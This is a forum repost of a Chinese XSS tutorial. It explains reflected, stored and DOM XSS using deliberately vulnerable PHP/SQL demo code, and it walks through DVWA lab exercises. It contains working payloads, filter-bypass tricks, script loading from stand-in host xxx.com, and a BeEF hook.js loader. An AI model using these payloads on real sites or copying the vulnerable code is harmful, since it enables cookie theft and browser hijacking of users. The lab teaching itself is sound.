搜索

[7562] 2021-04-07_一看就会，一用就废的漏洞XSS

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-17
2021-04-07_一看就会，一用就废的漏洞XSS 一 看 就 会 ， 一 用 就 废 的 漏 洞 X S S F 1 2 s e c   2 0 2 1 - 0 4 - 0 7 编 者 荐 语 ： 和 大 师 傅 学 X S S 了 以 下 文 章 来 源 于 广 软 N S D A 安 全 团 队   ， 作 者 w i s e j a y 原 理 原 理 跨 站 脚 本 （ c r o s s   s i t e   s c r i p t ， X S S ） ， X S S   是 指 恶 意 攻 击 者 利 用 网 站 没 有 对 用 户 提 交 数 据 进 行 转 义 处 理 或 者 过 滤 不 足 的 缺 点 ， 进 而 把 恶 意 代 码 嵌 入 到   w e b   页 面 中 去 。 当 别 的 用 户 访 问 都 会 执 行 相 应 的 恶 意 代 码 。 从 而 盗 取 用 户 c o o k i e 、 劫 持 会 话 ， 钓 鱼 欺 骗 等 攻 击 的 方 式 。 常 用 测 试 语 句 常 用 测 试 语 句 标 签 是 最 直 接 的   X S S   有 效 载 荷 ， 脚 本 标 记 可 以 引 用 外 部 的   J a v a S c r i p t   代 码 ， 也 可 以 将 代 码 插 入 脚 本 标 记 中   < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t >   # 弹 窗 x s s   < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > # 获 取 c o o k i e   < s c r i p t   s r c = h t t p : / / x x x . c o m / x s s . j s > < / s c r i p t > # 引 用 外 部 j s 标 签   < i m g   s r c = 1   o n e r r o r = a l e r t ( ' x s s ' ) > # 弹 窗   < i m g   s r c = 1   o n e r r o r = d o c u m e n t . b o d y . a p p e n d C h i l d ( d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ) . s r c = " h t t p : / / x x x . c o m / x s s . j s " > 其 他 标 签   < i n p u t   o n c l i c k = a l e r t ( ' x s s ' ) > # 点 击 弹 窗   < i n p u t   o n f o c u s = a l e r t ( ' x s s ' ) > # 聚 焦 弹 窗   < i n p u t   o n m o u s e o v e r = a l e r t ( ' x s s ' ) > # 鼠 标 移 动 到 指 定 位 置 弹 窗   < b o d y   o n l o a d = a l e r t ( ' x s s ' ) > # 页 面 加 载 时 弹 窗   < a   h r e f = j a v a s c r i p t : a l e r t ( / 1 ) > X X X < / a > # 点 击 X X X 弹 窗 X S S 分 类 分 类 反 射 型 反 射 型 正 常 发 送 信 息 ： 反 射 型 X S S 攻 击 ： 广 软 广 软 N S D A 安 全 团 队 安 全 团 队   . 技 术 分 享 ， 感 谢 关 注 < s c r i p t > i m g 反 射 型 也 称 作 非 持 久 型 ， 主 要 用 于 将 恶 意 脚 本 插 入 到 U R L 地 址 参 数 中 ， 即 每 次 攻 击 都 需 要 用 户 点 击 ， 通 常 结 合 社 会 工 程 学 进 行 攻 击 h t t p : 1 2 7 . 0 . 0 . 1 / x s s . p h p ? n a m e = w i s e j a y h t t p : 1 2 7 . 0 . 0 . 1 / x s s . p h p ? n a m e = < s c r i p t > a l e r t ( " x s s " ) < / s c r i p t >
打 开 者 如 果 弹 窗 显 示 X S S ， 则 说 明 存 在 反 射 型 X S S 实 例 实 例   / / 前 端 1 . h t m l   < h t m l >           < h e a d >                   < t i t l e > 反 射 型 < / t i t l e >           < / h e a d >           < b o d y >                   < f o r m   a c t i o n = " x s s . p h p "   m e t h o d = " p o s t " >                           < i n p u t   t y p e = " t e x t "   n a m e = " n a m e " / >                           < i n p u t   t y p e = " s u b m i t "   v a l u e = " 提 交 " >                   < / f o r m >           < / b o d y >   < / h t m l >   / / 后 端 x s s . p h p   < ? p h p           $ n a m e = $ _ P O S T [ " n a m e " ] ;   e c h o   $ n a m e ;   ? > 存 储 型 存 储 型 这 类 型 的 X S S 一 般 存 在 留 言 板 中 如 ：   < i n p u t   t y p e = " t e x t "   n a m e = " c o n t e n t "   v a l u e = “ 这 里 是 用 户 填 写 的 数 据 " > 但 用 户 传 入 v a l u e 参 数 为 : 就 会 存 储 到 数 据 库 中 ， 访 问 时 就 会 被 触 发 。 实 例 实 例   / / 创 建 数 据 库   c r e a t e   d a t a b a s e   t e s t ; < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 存 储 型 也 称 作 持 久 型 ， 这 类 X S S 攻 击 ， 不 需 要 用 户 点 击 特 定 的 U R L ， 因 为 攻 击 者 是 将 恶 意 代 码 插 入 服 务 器 ( 数 据 库 ) 中 ， 当 用 户 浏 览 相 应 的 网 页 时 就 会 触 发 < s c r i p t > a l e r t ( ‘ x s s ’ ) < / s c r i p t >
  u s e   t e s t ;   c r e a t e   t a b l e   x s s (   i d   i n t ( 3 )   n o t   n u l l ,   n a m e   v a r c h a r ( 2 0 0 )   n o t   n u l l ,   p r i m a r y   k e y ( i d )   ) ;   / / 2 . h t m l   < h t m l >           < h e a d >                   < t i t l e > 存 储 型 < / t i t l e >           < / h e a d >           < b o d y >                   < f o r m   a c t i o n = " s a v e . p h p "   m e t h o d = " p o s t " >                         输 入 你 I D : < i n p u t   t y p e = " t e x t "   n a m e = " i d " / > < b r / >                         输 入 你 N A M E : < i n p u t   t y p e = " t e x t "   n a m e = " n a m e " / > < b r / >                           < i n p u t   t y p e = " s u b m i t "   v a l u e = " 提 交 " >                   < / f o r m >           < / b o d y >   < / h t m l >   / / s a v e . p h p   < ? p h p           $ i d = $ _ P O S T [ " i d " ] ;   $ n a m e = $ _ P O S T [ " n a m e " ] ;   m y s q l _ c o n n e c t ( " l o c a l h o s t " , " r o o t " , " r o o t " ) ;   m y s q l _ s e l e c t _ d b ( " t e s t " ) ;     $ s q l = " i n s e r t   i n t o   x s s   v a l u e   ( $ i d , ' $ n a m e ' ) " ;   $ r e s u l t = m y s q l _ q u e r y ( $ s q l ) ;   ? >   / / s h o w . p h p   < ? p h p   $ i d = $ _ G E T [ " i d " ] ;   m y s q l _ c o n n e c t ( " l o c a l h o s t " , " r o o t " , " r o o t " ) ;   m y s q l _ s e l e c t _ d b ( " t e s t " ) ;     $ s q l = " s e l e c t   n a m e   f r o m   x s s   w h e r e   i d = $ i d " ;   $ r e s u l t = m y s q l _ q u e r y ( $ s q l ) ;           w h i l e ( $ r o w = m y s q l _ f e t c h _ a r r a y ( $ r e s u l t ) ) {                 e c h o   $ r o w [ ' n a m e ' ] ;           }     ? > 用 来 转 义 查 看 数 据 库 插 入 情 况 发 现 刚 刚 语 句 被 插 入 到 数 据 库 中 啦 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t >
在 查 看 页 面 查 看 数 据 发 现 语 句 被 成 功 执 行 D O M 型 型 p a y l o a d : 当 用 户 访 问 时 ， 服 务 器 就 会 返 回 包 含 恶 意 脚 本 的 H T M L 静 态 文 本 ， 浏 览 器 会 把 H T M L 解 析 成 D O M ， 等 于 在 网 页 直 接 插 入 实 例 实 例   / / 3 . h t m l   < h t m l >           < h e a d >                   < t i t l e > D O M 型 < / t i t l e >           < / h e a d >           < b o d y >                   < f o r m   a c t i o n = " d o m . p h p "   m e t h o d = " p o s t " >                           < i n p u t   t y p e = " t e x t "   n a m e = " n a m e " >                           < i n p u t   t y p e = " s u b m i t "   v a l u e = " 提 交 " >                   < / f o r m >           < / b o d y >   < / h t m l >   / / d o m . p h p   < ? p h p   $ n a m e = $ _ P O S T [ " n a m e " ] ;   ? >   < i n p u t   i d = " t e x t "   t y p e = " t e x t "   v a l u e = " < ? p h p   e c h o   $ n a m e ; ? > " / >   < d i v   i d = " p r i n t " > < / d i v >   < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >           v a r   t e x t = d o c u m e n t . g e t E l e m e n t B y I d ( " t e x t " ) ;           v a r   p r i n t = d o c u m e n t . g e t E l e m e n t B y I d ( " p r i n t " ) ;           p r i n t . i n n e r H T M L = t e x t . v a l u e ;   < / s c r i p t > h t t p : / / 1 2 7 . 0 . 0 . 1 / x s s / s h o w . p h p ? i d = 1 D O M 型 是 一 种 特 殊 的 非 持 久 型 ， 用 户 能 够 通 过 交 互 修 改 浏 览 器 页 面 中 的   D O M ( D o c u m e n t O b j e c t M o d e l ) 并 显 示 在 浏 览 器 上 时 ， 就 有 可 能 产 生 这 种 漏 洞 h t t p : / / 1 2 7 . 0 . 0 . 1 / d o m . p h p ? n a m e = < i m g   s r c = 1   o n e r r o r = a l e r t ( " x s s " ) > < i m g   s r c = 1   o n e r r o r = a l e r t ( ' x s s ' ) >
三 者 区 别 三 者 区 别 X S S 类 类 型 型 反 射 型 反 射 型 存 储 型 存 储 型 D O M 型 型 触 发 过 程 正 常 用 户 访 问 携 带 X S S 恶 意 脚 本 的 U R L 正 常 用 户 访 问 黑 客 恶 意 构 造 存 储 在 数 据 库 输 出 的 地 方 正 常 用 户 访 问 携 带 X S S 恶 意 脚 本 的 U R L 数 据 存 储 U R L 数 据 库 U R L 谁 来 输 出 前 端 w e b 程 序 前 端 w e b 程 序 前 端 J a v a S c r i p t 输 出 位 置 H T T P 响 应 中 H T T P 响 应 中 动 态 构 造 的 D O M 结 点 数 据 流 向 前 端 - - > 后 端 - - > 前 端 前 端 - - > 后 端 - - > 数 据 库 - - > 后 端 - - > 前 端 前 端 - - > 浏 览 器 X S S 绕 过 和 闭 合 绕 过 和 闭 合 绕 过 绕 过 大 小 写 绕 过 大 小 写 绕 过 双 写 关 键 字 绕 过 双 写 关 键 字 绕 过 反 引 号 绕 过 反 引 号 绕 过 编 码 绕 过 编 码 绕 过 U R L 编 码 、 B a s e 6 4 编 码 等 < I m G   S r C = 1   O n e r R o r = a l e r t ( ' x s s ' ) > < i m i m g g   s r s r c c = 1   o n e r r o r = a l e r t ( ' x x s ' ) > < i m g   s r c = 1   o n e r r o r = a l e r t ( x s s ` ` ) >
闭 合 闭 合 能 闭 合 标 签 能 闭 合 标 签 用 户 输 入 作 为 H T M L 注 释 内 容   < ! - -   用 户 输 入 内 容   - - > p a y l o a d ：   < ! - -   - - > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < ! - -   - - > 用 户 输 入 作 为 标 签 属 性 名   < d i v   用 户 输 入 = " x x x " > < / d i v > p a y l o a d ：   < d i v > < / d i v > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < d i v   a = " x x x " > < / d i v > 用 户 输 入 作 为 标 签 属 性 值   < d i v   i d = " 用 户 输 入 " > < / d i v > p a y l o a d ：   < d i v   i d = " " > < / d i v > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < d i v   a = " x " > < / d i v > 用 户 输 入 作 为 标 签 名   < 用 户 输 入   i d = " x x "   / > p a y l o a d ：   < > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < b   i d = " x x "   / > 用 户 输 入 作 为 C S S 内 容   < s t y l e > 用 户 输 入 内 容 < / s t y l e > p a y l o a d ：   < s t y l e > < / s t y l e > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < s t y l e > < / s t y l e > 不 能 闭 合 标 签 不 能 闭 合 标 签   < i n p u t   n a m e = k e y w o r d     v a l u e = ' 输 入 内 容 ' > - - > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < ! - - < / d i v > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < d i v   a " > < / d i v > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < d i v   a = " x > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < b < / s t y l e > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < s t y l e >
p a y l o a d ：   < i n p u t   n a m e = k e y w o r d     v a l u e = ' '   o n f o c u s = ' a l t e r ( / x s s / ) ' > 工 具 使 用 工 具 使 用 ( B e e f ) 以 k a l i 系 统 为 准   # 启 动 b e e f   b e e f - x s s   # 启 动 成 功 后 生 成 x s s 钩 子   [ * ]       H o o k :   < s c r i p t   s r c = " h t t p : / / < I P > : 3 0 0 0 / h o o k . j s " > < / s c r i p t >   [ * ]   E x a m p l e :   < s c r i p t   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 : 3 0 0 0 / h o o k . j s " > < / s c r i p t >   # w e b   U I 界 面   [ * ]   W e b   U I :   h t t p : / / 1 2 7 . 0 . 0 . 1 : 3 0 0 0 / u i / p a n e l 登 录 U I 管 理 界 面 然 后 将 作 为 x s s 语 句 注 入 ， 钩 子 被 触 发 ， 目 标 就 会 自 动 上 线 '   o n f o c u s = ' a l t e r ( / x s s / ) < s c r i p t   s r c = " h t t p : / / < I P > : 3 0 0 0 / h o o k . j s " > < / s c r i p t >
这 里 命 令 慢 慢 摸 索 吧 靶 场 练 习 靶 场 练 习 反 射 型 反 射 型 L O W X S S 原 则 见 框 就 插 ， 我 们 发 现 这 里 不 管 输 入 说 明 都 直 接 回 显 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t >
插 入 测 试 语 句 发 现 直 接 弹 窗 M E D I U M 这 里 我 们 直 接 输 入 测 试 语 句 发 被 过 滤 了 这 里 我 们 直 接 用 i m g 标 签 插 入 成 功 回 弹 ， 这 里 可 以 使 用 大 小 写 绕 过 H I G H 通 过 测 试 发 现 这 里 过 滤 开 头 的 语 句 , 所 以 使 用 存 储 型 存 储 型 < s c r i p t > < / s c r i p t > < i m g   s r c = 1   o n e r r o r = a l e r t ( ' x s s ' ) > < s c r i p t > < i m g   s r c = 1   o n e r r o r = a l e r t ( ' x s s ' ) >
L O W 输 入 内 容 发 现 ， 会 保 存 到 数 据 库 ， 每 次 打 开 都 会 查 询 并 显 示 出 来 n a m e ： m e s s a g e ： M E D I U M 这 里 过 滤 了 标 签 , 并 且 m e s s a g e 也 过 滤 了 标 签 ， 所 以 我 尝 试 在 n a m e 中 插 入 ， 但 是 n a m e 有 长 度 限 制 我 们 抓 包 修 改 一 下 t e s t < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < s c r i p t > i m g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理